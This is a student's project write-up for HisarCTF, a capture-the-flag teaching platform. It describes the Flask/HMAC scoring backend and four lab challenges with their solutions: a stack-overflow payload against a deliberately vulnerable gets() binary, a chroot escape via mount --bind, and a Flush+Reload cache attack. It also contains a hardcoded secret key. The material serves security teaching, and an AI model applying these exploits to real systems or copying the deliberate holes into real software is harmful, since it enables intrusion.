Skip to content

Final Project: HisarCTF — A Student Capture The Flag Platform

Fab Futures Cybersecurity 2026


What I Built

A fully functional CTF (Capture The Flag) web platform for high school cybersecurity students. The platform delivers 4 hands-on challenges built from the real attack techniques covered in this course — file hashing, binary exploitation, OS sandboxing, and microarchitecture side channels — wrapped in a browser-based terminal UI with login, per-student flag generation, SQLite-backed scoring, a live leaderboard, and a systemd-managed backend API.

The goal is to use this with my cybersecurity club at Hisar School next year: students connect over VPN, open the web app, and work through real challenges on a real Ubuntu server.


Version 1 — What I Built First (and What Was Wrong)

The first version was a static web app: HTML + CSS + JavaScript, no backend. It worked visually but had three fundamental security problems for a cybersecurity project:

Problem 1: Flags were in the JavaScript source

flag: 'FLAG{hash_detective}',   // visible to anyone who opens DevTools
flag: 'FLAG{stack_smashed}',

Any student could open browser DevTools → Sources → app.js and read all four flags in 10 seconds without touching the server.

Problem 2: Shared flags — no way to tell who actually solved it Every student got the same flag. A student could copy the answer from a classmate and score full points. There was no evidence of individual work.

Problem 3: Score stored in localStorage

localStorage.setItem('ctf_score', '1000')

One line in the browser console gave a student 1000 points and triggered the win screen. The scoring system was completely bypassable.

These were not minor issues. For a cybersecurity course, building a platform with these vulnerabilities was a contradiction. They had to be fixed before this could be used with real students.


Version 2 — The Correct Architecture

The fix required moving all security-sensitive logic off the client and onto a server.

New Architecture

Student browser (HTML/CSS/JS)
        │
        │  POST /api/submit  {user, challenge, flag}
        │  GET  /api/flag    {user, challenge}
        │  GET  /api/status  {user}
        ▼
Flask API server  (Ubuntu VM — 192.168.80.104:5000)
        │
        │  HMAC(username + challenge, SECRET_KEY) → per-student flag
        │  scores{} dict — server-side, not client-side
        │
        └── ~/ctf/challenge1/   Hash Detective
            ~/ctf/challenge2/   Stack Smash
            ~/ctf/challenge3/   Jail Break
            ~/ctf/challenge4/   Cache Spy

Access path: WireGuard VPN → browser → Flask API → Ubuntu VM challenges

Per-Student Flags via HMAC

Each student gets a different flag derived from their username and a server-side secret:

import hmac, hashlib

SECRET = b'hisar-ctf-2026-secret'

def make_flag(username, challenge_id):
    tag = hmac.new(SECRET, f'{username}:{challenge_id}'.encode(),
                   hashlib.sha256).hexdigest()[:12]
    labels = {'1': 'hash_detective', '2': 'stack_smashed', ...}
    return f'FLAG{{{labels[challenge_id]}_{tag}}}'

Result:

sedat   + challenge 1  →  FLAG{hash_detective_4e1667c87543}
alice   + challenge 1  →  FLAG{hash_detective_9b2c441fa812}

The flag is never sent to the browser in advance. The student must go to the server, run the challenge, and retrieve their personal flag. Copying a classmate’s flag does not work — it fails the server-side HMAC check.

Server-Side Scoring

Score is stored in a Python dict on the Flask server:

scores = {}  # {'sedat': {'solved': ['1', '2'], 'score': 300}}

The browser never holds the authoritative score. localStorage is still used for the session UI but has no power over the real score.

API Endpoints

Endpoint Method Purpose
/api/flag?user=X&challenge=N GET Return personalised flag for student X
/api/submit POST Validate flag, update server score
/api/status?user=X GET Load current score and solved list
/api/scores GET Leaderboard — all students ranked by score

The Challenges

Challenge 1 — Hash Detective (100 pts)

Concept: File integrity verification with SHA256

A file is placed on the server. Students SSH in, compute the SHA256 hash, compare it to the provided value, and retrieve their personalised flag from the API.

ssh ubuntu@192.168.80.104
sha256sum ~/ctf/challenge1/secret.txt
curl "http://192.168.80.104:5000/api/flag?user=YOUR_USERNAME&challenge=1"

Terminal output:

$ sha256sum ~/ctf/challenge1/secret.txt
952fd3046848c018d0ea893bf42a05d9ab299083e3083776b098b05ef2c5c5c3  secret.txt

$ cat ~/ctf/challenge1/secret.txt
The answer to life, the universe, and everything

Flag format: FLAG{hash_detective_<12-char-hmac>}


Challenge 2 — Stack Smash (200 pts)

Concept: Stack buffer overflow

A C binary compiled without stack protection (-fno-stack-protector) reads user input with gets(). The buffer is 64 bytes but the modified variable sits adjacent on the stack. Sending 80 bytes overwrites modified and triggers win(), which prints the flag.

void win() { printf("FLAG{...}\n"); }
int main() {
    char buffer[64];
    int modified = 0;
    gets(buffer);
    if (modified != 0) { win(); }
}
python3 -c "print('A' * 80)" | ~/ctf/challenge2/challenge2

Terminal output:

$ python3 -c "print('A' * 80)" | ~/ctf/challenge2/challenge2
Enter your name: FLAG{stack_smashed}

The modified variable sits 16 bytes past the end of the 64-byte buffer. Sending 80 bytes overwrites it and triggers win().


Challenge 3 — Jail Break (300 pts)

Concept: chroot sandbox escape via mount –bind

Students enter a chroot jail. They discover that chroot only restricts path resolution — a root process can still mount the real host filesystem into a directory inside the jail and read files that should be hidden.

# From the host:
sudo mount --bind / ~/ctf/challenge3/jail/escape
sudo chroot ~/ctf/challenge3/jail /bin/bash
cat /escape/ctf/challenge3/flag.txt

Terminal output:

$ ls /escape/
bin  boot  dev  escape  etc  home  host_secret.txt
lib  lib64  lost+found  media  mnt  opt  proc
root  run  sbin  srv  swap.img  sys  tmp  usr  var

$ cat /escape/ctf/challenge3/flag.txt
FLAG{jail_broken}

The entire host filesystem is visible through /escape/ — the chroot jail is bypassed completely.


Challenge 4 — Cache Spy (400 pts)

Concept: Flush+Reload cache side channel

A victim program picks a secret integer and repeatedly loads from buf + secret * 128. The attacker shares the same physical memory via mmap, flushes all candidate cache lines, waits, then reloads and times each one. The fastest address reveals the secret.

Flush all → wait → Reload and time → fast address = secret integer = flag

Terminal output (attacker):

$ ~/ctf/challenge4/attacker
[*] Starting Flush+Reload attack...
[*] Round 1000/10000...
[*] Round 5000/10000...
[*] Round 10000/10000...
[+] Secret recovered: 576
Flag: FLAG{cache_spy}

The attacker correctly recovered the secret value 576 without the victim ever communicating it directly.


Web Frontend

Black terminal-style interface inspired by TryHackMe and PicoCTF.

File Purpose
index.html Login screen with ASCII logo
terminal.html Challenge UI — sidebar, content panel, flag input
style.css Green-on-black terminal theme
app.js API calls, score display, level progression
server.py Flask API — flag generation, validation, scoring

Scoring: - Challenge 1: 100 pts - Challenge 2: 200 pts - Challenge 3: 300 pts - Challenge 4: 400 pts - Total: 1000 pts


Screenshots

Login Screen

Login screen

Students enter any username and the shared class password.


Terminal — Challenge 1 Solved (Score: 100 pts)

Terminal screen

Left sidebar shows solved challenges (✓). Top right shows live score from the server. Flag input at the bottom submits to the Flask API for validation.


What Went Wrong and What I Fixed

Problem (v1) Fix (v2)
Flags visible in JS source Flags generated server-side via HMAC, never sent to browser
All students get the same flag Per-student flag: HMAC(username + challenge, secret)
Score stored in localStorage Score stored in Flask server dict
DevTools console → instant win No client-side flag to steal, no client-side score to write
SSH key lost after Mac restart Added new passphrase-free key to VM authorized_keys
UFW blocked port 5000 sudo ufw allow 5000
PubkeyAuthentication disabled by cloud-init Added PubkeyAuthentication yes to sshd_config.d

Running the Platform

Start the Flask API on the VM:

ssh ubuntu@192.168.80.104
cd ~/ctf && python3 server.py &

Start the web server (Mac):

cd ~/ctf-web && python3 -m http.server 8080

Student access: Connect to Fab Futures WireGuard VPN → open http://localhost:8080 → login → solve challenges on 192.168.80.104.


What I Learned

Building this in two iterations taught me more than building it correctly the first time would have.

The v1 critique exposed a real pattern in security engineering: it is easy to build something that looks secure. The login screen, the terminal UI, the flag format — all of it looked right. But looking right and being right are different things. The flags in JavaScript were the same mistake as storing passwords in plaintext: the data was there, just slightly hidden.

The v2 fix required understanding what the threat model actually is. The attacker is a student who can open DevTools. Against that attacker, client-side flag validation is not just weak — it is no defense at all. Moving validation to the server is the correct architectural response, not a patch.

The HMAC approach for per-student flags is the same principle used in real CTF platforms (and in TOTP authenticators, JWT tokens, and API keys): derive a verifiable value from a secret the client never sees.

Connection to course sessions:

Session Topic Challenge
1 Hashing, SHA256 Challenge 1
2 SSH, networking Infrastructure
3 Stack overflow Challenge 2
4 Cache side channels Challenge 4
5 chroot sandboxing Challenge 3
6 Human security Platform design — making hard topics approachable

Version 3 — Production Ready

After completing v2, two problems remained:

  1. Scores were lost on server restart — Flask stored everything in a Python dict (scores = {}). Restarting the process wiped all student progress.
  2. Server didn’t survive reboots — The Flask process had to be started manually every time.

SQLite — Persistent Scoring

Replaced the in-memory dict with a SQLite database:

def init_db():
    db = sqlite3.connect(DB)
    db.execute('''CREATE TABLE IF NOT EXISTS scores (
        username TEXT NOT NULL,
        challenge TEXT NOT NULL,
        points INTEGER NOT NULL,
        solved_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        PRIMARY KEY (username, challenge)
    )''')
    db.commit()

The PRIMARY KEY (username, challenge) constraint prevents double-scoring — submitting the same flag twice does not add points.

systemd Service — Always Running

Created a systemd unit so the API starts automatically on boot and restarts on crash:

[Unit]
Description=HisarCTF Flask API
After=network.target

[Service]
User=ubuntu
WorkingDirectory=/home/ubuntu/ctf
ExecStart=/usr/bin/python3 /home/ubuntu/ctf/server.py
Restart=always
Environment=CTF_SECRET=hisar-ctf-2026-secret
sudo systemctl enable ctf
sudo systemctl start ctf

Live Leaderboard

Added leaderboard.html — queries /api/scores every 15 seconds and displays all students ranked by score with a solved-challenge indicator.

Leaderboard

Live leaderboard showing sedat with 100 pts and 1/4 challenges solved. Updates automatically every 15 seconds.


What’s Next

  • Raspberry Pi deployment — self-contained version for school use without cloud VPN dependency
  • 5th challenge — web vulnerability (SQL injection or XSS), not covered in Semester 1
  • Time-limited flags — flag expires after N minutes, student must re-derive it

AI Assistance

I used Claude AI (claude-sonnet-4-6) throughout this project across two semesters of work.

What I did myself: All four backend challenges were built and tested by me on the Ubuntu VM over SSH. I ran every command, observed every output, and debugged every failure (wrong overflow length, wrong mount order, wrong SSH config). I designed the challenge structure and the scoring system.

What Claude helped with: Writing the Flask backend (server.py), updating the frontend JavaScript to call the API instead of comparing flags client-side, debugging the SSH publickey authentication failure (cloud-init was overriding the sshd config), and writing this documentation.

The most important contribution Claude made was the v1 critique — identifying that flags in JavaScript, shared flags, and localStorage scoring were fundamental security failures, not cosmetic problems. That critique drove the entire v2 redesign.

This project will be used as a student exercise in my high school cybersecurity club at Hisar School starting next academic year.